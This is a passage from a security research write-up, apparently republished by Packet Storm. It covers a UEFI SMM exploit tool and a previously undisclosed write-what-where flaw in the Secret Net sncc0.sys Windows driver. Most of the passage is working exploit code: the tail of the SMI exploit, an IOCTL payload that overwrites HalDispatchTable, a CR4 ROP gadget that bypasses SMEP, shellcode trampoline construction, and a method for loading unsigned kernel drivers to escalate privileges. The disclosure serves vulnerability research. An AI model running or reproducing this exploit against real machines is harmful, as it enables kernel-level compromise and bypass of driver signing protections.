                expl_target->addr, ptr_val);

            // overwrite pointer value
            if (uefi_expl_phys_mem_write(
                   expl_target->addr, sizeof(sc_phys_addr), (unsigned char *)&sc_phys_addr))
            {
                printf(__FUNCTION__"(): Generating SMI %d...n", expl_target->smi_num);

                uefi_expl_smi_invoke(expl_target->smi_num);

                if (smm_context.smi_count > 0)
                {
                    ret = true;
                }

                printf(__FUNCTION__"(): %sn", ret ? "SUCCESS" : "FAILS");

                // restore overwritten value
                uefi_expl_phys_mem_write(
                    expl_target->addr, sizeof(ptr_val), (unsigned char *)&ptr_val);
            }
        }
    }

    // free memory
    uefi_expl_mem_free(sc_addr);

    return ret;
}

This exploit allows to select a specific target (combination of laptop model and firmware version) for exploitation. As it was shown above, you easily can find a proper EFI_BOOT_SERVICES address for your target and add a new entry to g_targets[] list.

To run exploit from command line I wrote a simple program fwexpl_app that additionally allows to execute some basic System Management Mode payloads like physical memory reading and writing. Here’s the list of available command line options:

  • –target <N> — Select specific target where <N> is index of g_targets[] list entry.
  • –target-list — Print available targets information.
  • –phys-mem-read <addr> — Read physical memory starting from specified address.
  • –whys-mem-write <addr> — Write physical memory starting from specified address.
  • –length <bytes> — Number of bytes to read or write for –phys-mem-read and –whys-mem-write correspondingly.
  • –file <path> — Memory dump path to read or write, in case of –whys-mem-read this parameter is optional and when it’s not specified — application will print a hex dump of physical memory to stdout.
  • –exec <addr> — Execute SMM code at specified physical memory address.

Using fwexpl_app to dump TSEG region of SMRAM on ThinkPad T450s:

Obtaining SMRAM dump with SW SMI handler 3 exploit.

This application needs to load it’s own unsigned kernel driver that is located at the same directory as executable. To make it possible you have to reboot your test Windows machine with disabled DSE (use F8 key during early boot to access boot options menu).

DSE bypass and privileges escalation: bonus 0day

In real life security tool for Windows platform it’s also will be nice to have some technique to bypass DSE and load unsigned kernel drivers. The best way to do it without burning expensive 0days in operating system itself — install any vulnerable kernel driver from any 3-rd party product that has valid digital signature and exploit it’s vulnerability to run your own ring0 code.  Over the internets there are several tools which use this approach to bypass DSE, for example — DSEFix by EP_X0FF, it installs and exploits vulnerable kernel driver from VirtualBox.

To have a good time I decided to find my own 0day vulnerability in some kernel driver and use it to implement DSE bypass support for libfwexpl. As my target I picked up so-called endpoint security products Secret Net 7 and Secret Net Studio 8 (still in beta) from Russian company Код Безопасности (Security Code). It doesn’t seem that these products are actually good at security, but I found them very useful for local privileges escalation and DSE bypass.

I started from Secret Net 7.4.577.0 from Security Code:

Secret Net 7.4 “About system” window.

This product installs a really impressive amount of different kernel drivers with interesting names: Sn5CrPack.sys, SnFDC.sys, Sn5Crypto.sys, SnNetFlt.sys, SnCDFilter.sys, SnTmCardDrv.sys, SnDDD.sys, snCloneVault.sys, SnDeviceFilter.sys, sncc0.sys, SnDiskFilter.sys, sndacs.sys, SnEraser.sys, snmc5xx.sys, SnExeQuota.sys, snsdp.sys.

After the spending some time with monitoring of IOCTL requests to these drivers in kernel debugger I decided to check IRP handlers code of sncc0.sys that loaded as Driversncc0 and uses device object DeviceSNC0_Sys to communicate with user mode. Let’s determinate IRP_MJ_DEVICE_CONTROL handler address for this driver with the help of the WinDbg:

0: kd> !drvobj Driversncc0
Driver object (ffffe001f616d240) is for:
 Driversncc0
Driver Extension List: (id , addr)

Device Object list:
ffffe001f6979510
0: kd> !devobj ffffe001f6979510
Device object (ffffe001f6979510) is for:
 SNCC0_Sys Driversncc0 DriverObject ffffe001f616d240
Current Irp 00000000 RefCount 0 Type 00000022 Flags 00000044
Dacl ffffc101421fde21 DevExt 00000000 DevObjExt ffffe001f6979660
ExtensionFlags (0x00000800)  DOE_DEFAULT_SD_PRESENT
Characteristics (0000000000)
Device queue is not busy.
0: kd> dt _DRIVER_OBJECT ffffe001f616d240
nt!_DRIVER_OBJECT
   +0x000 Type             : 0n4
   +0x002 Size             : 0n336
   +0x008 DeviceObject     : 0xffffe001`f6979510 _DEVICE_OBJECT
   +0x010 Flags            : 0x12
   +0x018 DriverStart      : 0xfffff801`e438c000 Void
   +0x020 DriverSize       : 0x20000
   +0x028 DriverSection    : 0xffffe001`f625da70 Void
   +0x030 DriverExtension  : 0xffffe001`f616d390 _DRIVER_EXTENSION
   +0x038 DriverName       : _UNICODE_STRING "Driversncc0"
   +0x048 HardwareDatabase : 0xfffff803`c913f598 _UNICODE_STRING "REGISTRYMACHINEHARDWAREDESCRIPTIONSYSTEM"
   +0x050 FastIoDispatch   : (null)
   +0x058 DriverInit       : 0xfffff801`e43a9000     long  sncc0!DllUnload+0
   +0x060 DriverStartIo    : (null)
   +0x068 DriverUnload     : 0xfffff801`e43916f0     void  +0
   +0x070 MajorFunction    : [28] 0xfffff801`e4391150     long  +0
0: kd> dps ffffe001f616d240+0x70 L1c
ffffe001`f616d2b0  fffff801`e4391150 sncc0+0x5150 # IRP_MJ_CREATE handler
ffffe001`f616d2b8  fffff803`c8b7bcf4 nt!IopInvalidDeviceRequest
ffffe001`f616d2c0  fffff801`e43910a0 sncc0+0x50a0 # IRP_MJ_CLOSE handler
...
ffffe001`f616d320  fffff801`e4391210 sncc0+0x5210 # IRP_MJ_DEVICE_CONTROL handler
...

Now we can load the driver binary to IDA and check what exactly sncc0 + 0x5210 function does:

__int64 __fastcall sub_180005210(__int64 DeviceObject, struct _IRP *Irp)
{
    __int64 v2; // [email protected]
    __int64 v3; // [email protected]
    __int64 v4; // [email protected]
    unsigned int Status; // [sp+20h] [bp-38h]@1
    int v7; // [sp+24h] [bp-34h]@1
    unsigned int OutSize; // [sp+28h] [bp-30h]@1
    ULONG InSize; // [sp+2Ch] [bp-2Ch]@1
    ULONG v10; // [sp+30h] [bp-28h]@1
    ULONG Code; // [sp+34h] [bp-24h]@1
    void *Buffer; // [sp+38h] [bp-20h]@1
    IO_STACK_LOCATION *Stack; // [sp+40h] [bp-18h]@1
    struct _IRP *Irp_; // [sp+68h] [bp+10h]@1

    Irp_ = Irp;
    Irp->IoStatus.Information = 0i64;
    Status = 0xC0000002;

    // get IOCTL request information (control code, user buffer, etc.)
    Stack = sub_180005780(Irp);
    Buffer = Irp_->AssociatedIrp.SystemBuffer;
    InSize = Stack->Parameters.DeviceIoControl.InputBufferLength;
    OutSize = Stack->Parameters.DeviceIoControl.OutputBufferLength;
    Code = Stack->Parameters.DeviceIoControl.IoControlCode;
    v7 = 0;

    // process different kinds of IOCTL requests
    switch (Code)
    {
    // ... skipped ...

    case 0x220010u:

        if (InSize >= 0x60)
        {
            //
            // Call of some function that accepts user buffer with
            // >= 60 bytes of length as input.
            //
            Status = sub_180009D50(Buffer);
        }
        else
        {
            Status = 0xC00000E8;
        }

        break;

    // ... skipped ...

    default:

        break;
    }

    if (Status)
    {
        if (Status == 0x80000005)
        {
            // return OutSize bytes of data back to the caller
            Irp_->IoStatus.Information = OutSize;
        }
    }
    else
    {
        Irp_->IoStatus.Information = (unsigned int)v7;
    }

    // complete IOCTL request
    Irp_->IoStatus.Status = Status;
    IofCompleteRequest(Irp_, 0);

    return Status;
}

After the short reverse engineering I found that IOCTL with code 0x220010 (this code uses buffered I/O method to process user-mode buffers passed to NtDeviceIoControlFile() system call) executes vulnerable function sub_180009D50() that accepts pointer to attacker controlled IOCTL input buffer (located in non-paged kernel pool because of buffered I/O) as argument. The sub_180009D50() uses input buffer as structure with field that points to second structure. The second structure address is being passed to sub_180004A70() without any boundary checks and validations that allows arbitrary kernel memory overwriting (write-what-where condition):

__int64 __fastcall sub_180009D50(void *Buffer)
{
    //
    // This code reads some data buffer address from the beginning of
    // IOCTL input buffer and passes it to other function that copies
    // attacker controlled data to that address.
    //
    return sub_180004A70(
        *(void **)Buffer, // <= !!!
        *((_DWORD *)Buffer + 0x16),
        *((_DWORD *)Buffer + 0x17),
        (char *)Buffer + 0x60
    );
}

__int64 __fastcall sub_180004A70(void *a1, int a2, unsigned int a3, void *a4)
{
    //
    // All input arguments of this function are controlled by attacker
    // with specially crafted IOCTL request.
    //
    __int64 Status; // [email protected]

    if (a1)
    {
        if (*((_DWORD *)a1 + 6) == 0xC00000B5)
        {
            Status = 0xC0000120i64;
        }
        else
        {
            //
            // Vulnerability is here:
            //
            // A classical write-what-where condition that allows to overwrite
            // arbitrary kernel memory with attacker controlled data.
            //
            *((_DWORD *)a1 + 6) = a2;
            **((_DWORD **)a1 + 2) = a3;

            if (!a2 && a3 <= *(_DWORD *)a1)
            {
                qmemcpy(*((void **)a1 + 1), a4, a3);
            }

            KeSetEvent((PRKEVENT)((char *)a1 + 32), 0, 0);
            Status = 0i64;
        }
    }
    else
    {
        Status = 0xC000000Di64;
    }

    return Status;
}

The other product, Secret Net Studio 8, also has this 0day vulnerability because they’re both sharing the same vulnerable driver.

Write-what-where kernel vulnerabilities are trivial for exploitation even on the most recent Windows versions, here’s the one of the popular ways to do it:

  1. As target to overwrite attacker uses HalQuerySystemInformation field (it points to the HAL function) of HAL_DISPATCH_TABLE kernel structure that accessible as exportable kernel symbol nt!HalDispatchTable.
  2. As value to overwrite HalQuerySystemInformation field attacker uses the address of ROP gadget MOV CR4, EAX / RET located inside some executable section of some kernel module. This ROP gadget is necessary to disable SMEP flag of CR4 register (it prohibits to execute user-mode memory with kernel privileges) and transfers execution to user-mode shellcode that performs privileges escalation, loads unsigned kernel drivers or does any other kind of ring0 magic.
  3. Attacker calls NtQueryIntervalProfile() system call to trigger execution of overwritten HAL function pointer.
  4. After the shellcode execution attacker needs to restore original CR4 register value because if someone will leave it modified for a while — the system will be crashed by PatchGuard.

I made a whole DSE bypass thing as standalone library called libdsebypass that located inside libfwexpl source code tree. Here’s the main exploit code:

//
// Constants for IOCTL request to vulnerable driver
//
#define EXPL_BUFF_SIZE      0x60
#define EXPL_CONTROL_CODE   0x220010
#define EXPL_DEVICE_PATH    ".GlobalSNCC0_Sys"

// exploit global variables
static PHAL_DISPATCH m_HalDispatchTable = NULL;
static func_ExAllocatePool f_ExAllocatePool = NULL;
static PVOID m_Rop_Mov_Cr4 = NULL;
static BOOL m_bExplOk = FALSE;

// external ring0 payload information
static KERNEL_EXPL_HANDLER m_Handler = NULL;
static PVOID m_HandlerContext = NULL;
//--------------------------------------------------------------------------------------
void WINAPI _r0_proc_continue(void)
{
    if (m_HalDispatchTable && f_ExAllocatePool)
    {

#if defined(_AMD64_)

#define TEMP_CODE_LEN 6

        char TempCode[] =
            "xB8x01x00x00xC0"  // mov      eax, 0xC00000001
            "xC3";                 // retn
#endif

        /*
            Restore HAL_DISPATCH::HalQuerySystemInformation pointer that was overwritten
            during exploitation. It's difficult to find original address of
            hal!HalQuerySystemInformation() function because it's not exportable, so,
            we replacing it with dummy code allocated in non paged kernel pool.
        */
        if (m_HalDispatchTable->HalQuerySystemInformation = f_ExAllocatePool(NonPagedPool, TEMP_CODE_LEN))
        {
            memcpy(m_HalDispatchTable->HalQuerySystemInformation, TempCode, TEMP_CODE_LEN);
        }
    }

    if (m_Handler)
    {
        // call external ring0 payload handler if present
        m_Handler(m_HandlerContext);
    }

    m_bExplOk = TRUE;
}
//--------------------------------------------------------------------------------------
/*
    This function is being called during exploitation insted original
    hal!HalQuerySystemInformation() because it's address in nt!HalDispatchTable
    kernel structure was overwritten using write-what-where vulnerability.
*/
NTSTATUS WINAPI _r0_proc_HalQuerySystemInformation(
    ULONG InformationClass,
    ULONG BufferSize,
    PVOID Buffer,
    PULONG ReturnedLength)
{
    // execute exploitation payload
    _r0_proc_continue();

    return 0;
}
//--------------------------------------------------------------------------------------
BOOL expl_SNCC0_Sys_220010(KERNEL_EXPL_HANDLER Handler, PVOID HandlerContext)
{
    BOOL bUseRop = FALSE;

    m_Handler = Handler;
    m_HandlerContext = HandlerContext;

    OSVERSIONINFOA Version;
    Version.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);

    // get NT verson information
    if (GetVersionExA(&Version))
    {
        if (Version.dwPlatformId == VER_PLATFORM_WIN32_NT)
        {
            printf("NT version is %d.%d.%dn", Version.dwMajorVersion,
                   Version.dwMinorVersion, Version.dwBuildNumber);

            // determinate if we need to use ROP to bypass SMEP
            if ((Version.dwMajorVersion == 6 && Version.dwMinorVersion == 2) ||
                (Version.dwMajorVersion == 6 && Version.dwMinorVersion == 3) ||
                (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0))
            {
                bUseRop = TRUE;
            }
        }
        else
        {
            goto end;
        }
    }
    else
    {
        goto end;
    }

    // get real address of nt!ExAllocatePool()
    f_ExAllocatePool = (func_ExAllocatePool)KernelGetProcAddr("ExAllocatePool");
    if (f_ExAllocatePool == NULL)
    {
        goto end;
    }

    // get real address of nt!HalDispatchTable
    m_HalDispatchTable = (PHAL_DISPATCH)KernelGetProcAddr("HalDispatchTable");
    if (m_HalDispatchTable == NULL)
    {
        goto end;
    }

    printf("nt!ExAllocatePool() is at "IFMT"n", f_ExAllocatePool);
    printf("nt!HalDispatchTable is at "IFMT"n", m_HalDispatchTable);

    LARGE_INTEGER Val;
    PVOID Trampoline = NULL;
    DWORD_PTR Addr = PAGE_SIZE;

    if (bUseRop)
    {
        // find RVA of MOV CR4, EAX gadget inside kernel executable image
        if (!RopGadgetInit())
        {
            goto end;
        }

        Val.QuadPart = (DWORD64)m_Rop_Mov_Cr4;

        /*
            Because of ROP limitation we need to allocate shellcode trampoline
            below 4GB of virtual memory space.
        */
        while (true)
        {
            if (Trampoline = VirtualAlloc(Addr, PAGE_SIZE,
                             MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE))
            {
                printf("Shellcode trampoline is allocated at "IFMT"n", Trampoline);
                break;
            }
            else if (Addr >= 0x7fff0000)
            {
                // unable to allocate memory
                goto end;
            }
            else
            {
                // try next address
                Addr += PAGE_SIZE;
            }
        }

        // PUSH RAX
        *(PUCHAR)(Trampoline) = 0x50;

        // MOV RAX, _r0_proc_continue
        *(PWORD)((DWORD_PTR)Trampoline + 1) = 0xb848;
        *(PDWORD_PTR)((DWORD_PTR)Trampoline + 0x03) = (DWORD_PTR)&_r0_proc_continue;

        // CALL RAX ; calls _r0_proc_continue()
        *(PWORD)((DWORD_PTR)Trampoline + 0x0b) = 0xd0ff;

        // POP RAX
        *(PUCHAR)((DWORD_PTR)Trampoline + 0x0d) = 0x58;

        // ADD RSP, 20h ; restore proper stack pointer value
        *(PDWORD)((DWORD_PTR)Trampoline + 0x0e) = 0x20c48348;

        // RET ; return back to the nt!NtQueryntervalProfile()
        *(PUCHAR)((DWORD_PTR)Trampoline + 0x12) = 0xc3;
    }
    else
    {
        Val.QuadPart = (DWORD64)&_r0_proc_HalQuerySystemInformation;
    }

    printf("Opengin device "%s"...n", EXPL_DEVICE_PATH);

    // get handle to the target device
    HANDLE hDev = CreateFile(_T(EXPL_DEVICE_PATH), GENERIC_READ | GENERIC_WRITE,
                             0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDev == INVALID_HANDLE_VALUE)
    {
        goto end;
    }

    DWORD ns = 0, dwCode = EXPL_CONTROL_CODE;
    IO_STATUS_BLOCK StatusBlock;
    UCHAR Buff[EXPL_BUFF_SIZE];

    printf("Buff = "IFMT"n", &Buff);

    #define SEND_IOCTL(_code_, _ib_, _il_, _ob_, _ol_)          
                                                                
        ns = NtDeviceIoControlFile(                             
            hDev, NULL, NULL, NULL, &StatusBlock, (_code_),     
            (PVOID)(_ib_), (DWORD)(_il_),                       
            (PVOID)(_ob_), (DWORD)(_ol_)                        
        );                                                      
                                                                
        printf(                                                 
            "IOCTL 0x%.8x: status = 0x%.8x, info = 0x%.8xn",   
            (_code_), ns, StatusBlock.Information               
        );

#ifdef _AMD64_

    /*
        Fill IOCTL Input buffer with additional parameters values that
        will be processed in vulnerable IOCTL handler.
    */
    ZeroMemory(Buff, sizeof(Buff));

    *(PDWORD64)&Buff[0x00] = (DWORD64)m_HalDispatchTable - 0x10;
    *(PDWORD)&Buff[0x58] = Val.LowPart;
    *(PDWORD)&Buff[0x5c] = 0;

    // call vulnreable driver and overwrite HAL_DISPATCH::HalQuerySystemInformation pointer
    SEND_IOCTL(dwCode, (PVOID)&Buff, sizeof(Buff), (PVOID)&Buff, sizeof(Buff));

    *(PDWORD64)&Buff[0x00] += sizeof(DWORD);
    *(PDWORD)&Buff[0x58] = Val.HighPart;

    // overwrite 2-nd dword of 64-bit pointer
    SEND_IOCTL(dwCode, (PVOID)&Buff, sizeof(Buff), (PVOID)&Buff, sizeof(Buff));

#endif

    if (bUseRop)
    {
        /*
            Use SMEP bypass.
        */
        DWORD FeaturesEcx = 0, FeaturesEdx = 0, FeaturesEbx = 0;
        DWORD ExtFeaturesEcx = 0, ExtFeaturesEdx = 0, ExtFeaturesEbx = 0;

        // get CPU features bits and extended features bits
        GetCPUIDFeatureBits(0x00000001, &FeaturesEcx, &FeaturesEdx, &FeaturesEbx);
        GetCPUIDFeatureBits(0x00000007, &ExtFeaturesEcx, &ExtFeaturesEdx, &ExtFeaturesEbx);

        printf("CPUID: EAX = 0x00000001, EDX = 0x%.8x, ECX = 0x%.8xn",
               FeaturesEdx, FeaturesEcx);

        printf("CPUID: EAX = 0x00000007, EBX = 0x%.8x, ECX = 0x%.8xn",
               ExtFeaturesEbx, ExtFeaturesEcx);

        DWORD InfoSize = 0;
        SYSTEM_PROCESSOR_INFORMATION ProcessorInfo;
        ProcessorInfo.ProcessorFeatureBits = 0;

        ns = NtQuerySystemInformation(
            SystemProcessorInformation, &ProcessorInfo, sizeof(ProcessorInfo), &InfoSize);

        if (NT_SUCCESS(ns))
        {
            printf("ProcessorFeatureBits is 0x%.8xn", ProcessorInfo.ProcessorFeatureBits);
        }

        /*
            Calculate actual CR4 register value for current machine, this value will be used
            in MOV CR4, EAX gadget to disable SMEP.
        */
        DWORD Cr4Value = CR4_VME | CR4_DE | CR4_PAE | CR4_MCE | CR4_FXSR | CR4_XMMEXCPT;

        if (FeaturesEcx & CPUID_OSXSAVE)
        {
            // XSAVE and processor extended states - enable bit
            Cr4Value |= CR4_OSXSAVE;
        }

        if (FeaturesEcx & CPUID_VMX)
        {
            // Virtual Machine eXtensions are supported
            Cr4Value |= CR4_VMXE;
        }

        if (ExtFeaturesEbx & CPUID_FSGSBASE)
        {
            // RDFSBASE/RDGSBASE/etc. instructions are supported
            Cr4Value |= CR4_FSGSBASE;
        }

        if (ProcessorInfo.ProcessorFeatureBits & KF_LARGE_PAGE)
        {
            // Page Size Extensions are supported
            Cr4Value |= CR4_PSE;
        }

        if (ProcessorInfo.ProcessorFeatureBits & KF_GLOBAL_PAGE)
        {
            // Page Global Enabled
            Cr4Value |= CR4_PGE;
        }

        printf("New CR4 value is 0x%.8xn", Cr4Value);

        // run current thread only on first CPU
        SetThreadAffinityMask(GetCurrentThread(), 1);

        /*
            NtQueryIntervalProfile() calls nt!KeQueryIntervalProfile() that calls
            overwritten HAL_DISPATCH::HalQuerySystemInformation pointer.
        */
        DWORD_PTR Source = (DWORD_PTR)Trampoline;
        NtQueryIntervalProfile(Source, &Cr4Value);
    }
    else
    {
        /*
            Don't use SMEP bypass on Windows 7 and older systems.
        */
        DWORD Interval = 0;
        NtQueryIntervalProfile(ProfileTotalIssues, &Interval);
    }

end:

    if (Trampoline)
    {
        VirtualFree(Trampoline, 0, MEM_RELEASE);
    }

    if (hDev)
    {
        CloseHandle(hDev);
    }

    if (m_bExplOk)
    {
        printf(__FUNCTION__"(): Exploitation successn");
    }
    else
    {
        printf(__FUNCTION__"() ERROR: Exploitation failsn");
    }

    return m_bExplOk;
}

Also, I implemented –dse-bypass option for fwexpl_app that uses this exploit to load unsigned kernel driver:

SW SMI handler 3 exploit that loads kernel driver using Secret Net DSE bypass exploit.

As it was explained above, after the kernel driver vulnerability exploitation you need to re-enable SMEP. To perform it I wrote the following piece of code inside libfwexpl driver that being loaded by exploit:

// ... skipped ...

    switch (Code)
    {
    case IOCTL_DRV_CONTROL:
        {
            switch (Buff->Code)
            {
            // ... skipped ...

#ifdef USE_DSE_BYPASS

            case DRV_CTL_RESTORE_CR4:
                {
                    // get bitmask of active processors
                    KAFFINITY ActiveProcessors = KeQueryActiveProcessors();
                    ULONG cr4_val = 0, cr4_current = 0;

                    // enumerate active processors starting from 2-nd
                    for (KAFFINITY i = 1; i < sizeof(KAFFINITY) * 8; i++)
                    {
                        KAFFINITY Mask = 1 << i;

                        if (ActiveProcessors & Mask)
                        {
                            // bind thread to specific processor
                            KeSetSystemAffinityThread(Mask);

                            // read CR4 register value
                            cr4_val = _cr4_get();
                            break;
                        }
                    }

                    if (cr4_val != 0)
                    {
                        // bind thread to first processor
                        KeSetSystemAffinityThread(0x00000001);

                        // read CR4 register value
                        cr4_current = _cr4_get();

                        if (cr4_current != cr4_val)
                        {
                            // restore CR4 register value
                            _cr4_set(cr4_val);
                        }
                        else
                        {
                            DbgMsg(__FILE__, __LINE__, "CR4 is 0x%.8xn", cr4_current);
                        }

                        ns = STATUS_SUCCESS;
                    }
                    else
                    {
                        DbgMsg(__FILE__, __LINE__, "ERROR: Unable to read CR4 value from 2-nd processorn");
                    }

                    break;
                }

#endif // USE_DSE_BYPASS

            default:
                {
                    break;
                }
            }

            break;
        }

    default:
        {
            break;
        }
    }

    // ... skipped ...

It’s interesting to figure that Security Code developers, just like Lenovo ones, had failed in security because of total ignorance of technical documentation, official specs/guidelines and well known secure software engineering tips like “don’t use DXE protocols during SMI dispatch”, “never pass any pointers from user mode app to kernel drivers inside IOCTL input buffer”, etc.

All source code that was mentioned in this article can be found at GitHub page of fwexpl project. In some future I’m also planning to implement an introspection and memory access tool for Intel HVM virtual machines based on my SMM exploit.


Source: Packetstormsecurity.com/news